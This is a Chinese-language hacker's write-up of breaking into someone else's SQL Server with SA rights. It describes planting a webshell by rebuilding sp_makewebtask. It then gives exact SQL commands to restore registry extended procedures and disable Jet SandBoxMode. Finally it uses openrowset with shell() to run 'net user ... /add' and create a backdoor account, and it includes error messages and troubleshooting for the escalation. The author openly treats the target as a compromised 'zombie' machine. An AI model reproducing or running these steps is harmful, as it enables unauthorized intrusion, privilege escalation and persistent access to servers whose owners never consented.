今天剛好發現有一個SA權限。服務器管理員將大部份擴展都刪除了。最后自己重建sp_makewebtask存儲才搞到一個webshell 了。(重建辦法,先找台正常主機,sp_helptext 'sp_makewebtask',將他的SQL語句重新拷到目標機器執行一次就行了)。

當然有了webshell,無法滿足我們貪婪的欲望。開始測試提權。有serv-u,但是提權失敗了。也許大家會說用back log來提權。但是那個太慢了,要重啟機器,會影響對方業務,同時又會給對方留下不好的印像。有人也許會說用讀取系統賬號的注冊表,導入導出,克隆賬號, 這個辦法也可行,但由於並非黑對方主機,還是要保證對方系統的安整性比較好。(也許是心理因素,^_^)

最后只好試試沙盒模式。很多人SA直接用沙盒模式成功了好多機器,但我從來沒實踐過,也不太清楚成功率如何。只好拿他當回肉雞嘗試了。

 

由於擴展被刪除,先恢復對注冊表的讀寫存儲。

dbcc addextendedproc ('xp_regread','xpstar.dll')

dbcc addextendedproc ('xp_regwrite','xpstar.dll')

修復沙盒的保護模式

exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWAREMicrosoftJet4.0Engines','SandBoxMode','REG_DWORD',0;--

查看'SandBoxMode'值是否已經變成0了。

exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SOFTWAREMicrosoftJet4.0Engines', 'SandBoxMode'

最后調用沙盒模式

select * from openrowset('microsoft.jet.oledb.4.0',';database=C:WINDOWSsystem32iasdnary.mdb','select shell("cmd.exe /c net user user passwd /add")')

1.如果沙盒保護模式未“關閉”,會報錯:

服務器: 消息 7357,級別 16,狀態 2,行 1
未能處理對象 'select shell("cmd.exe /c net user user passwd /add")'。OLE DB 提供程序 'microsoft.jet.oledb.4.0' 指出該對象中沒有任何列。
OLE DB 錯誤跟蹤[Non-interface error: OLE DB provider unable to process object, since the object has no columnsProviderName='microsoft.jet.oledb.4.0', Query=select shell("cmd.exe /c net user user passwd /add")']。

2.如果.mdb不存在或是輸入路徑錯誤

服務器: 消息 7399,級別 16,狀態 1,行 1
OLE DB 提供程序 'microsoft.jet.oledb.4.0' 報錯。
[OLE/DB provider returned message: 找不到文件 'C:WINDOWSsystem32iasdnary1.mdb'。]
OLE DB 錯誤跟蹤[OLE/DB Provider 'microsoft.jet.oledb.4.0' IDBInitialize::Initialize returned 0x80004005:   ]。

3.如果輸入過程中多了一些空格,也會報錯。尤其要注意這點,很多人直接網上找文章復制粘貼進去執行。

服務器: 消息 7357,級別 16,狀態 2,行 1
未能處理對象 'select shell("cmd.exe /c net user user passwd /add")'。OLE DB 提供程序 'microsoft.jet.oledb.4.0' 指出該對象中沒有任何列。
OLE DB 錯誤跟蹤[Non-interface error: OLE DB provider unable to process object, since the object has no columnsProviderName='microsoft.jet.oledb.4.0', Query=select shell("cmd.exe /c net user user passwd /add")']。

4.如果mdb權限和cmd.exe權限不對,同樣會也出現問題。

當mdb權限不對時,

服務器: 消息 7320,級別 16,狀態 2,行 1
未能對 OLE DB 提供程序 'Microsoft.Jet.OLEDB.4.0' 執行查詢。
[OLE/DB provider returned message: 未知]
OLE DB 錯誤跟蹤[OLE/DB Provider 'Microsoft.Jet.OLEDB.4.0' ICommandText::Execute returned 0x80040e14]。

5.如果net權限不對時,卻沒有任何提示。

最終的提權辦法就是在當前的web目錄下面上傳系統的ias.mdb和cmd.exe,net.exe三個文件。執行

select * from openrowset('microsoft.jet.oledb.4.0',';database=E:webias.mdb','select shell("E:webcmd.exe /c E:webnet.exe user user passwd /add")')

成功增加一個計算機用戶。